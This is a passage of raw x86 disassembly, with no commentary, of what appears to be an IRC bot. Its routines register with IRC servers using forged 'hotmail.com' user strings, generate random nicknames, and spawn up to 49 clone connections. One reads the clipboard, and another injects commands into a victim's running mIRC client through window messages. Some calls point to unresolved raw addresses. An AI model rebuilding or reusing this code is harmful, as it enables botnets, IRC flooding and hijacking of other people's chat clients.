		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387B4
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387A4


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF0[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 2690DCCh
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27F0000h
		nop
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 2800654h
		push	esi
		mov	edi, eax
		call	near ptr 2800000h
		nop
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2810524h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2810377h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		nop
		call	near ptr 2810000h
		push	edi
		nop
		call	near ptr 2670858h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


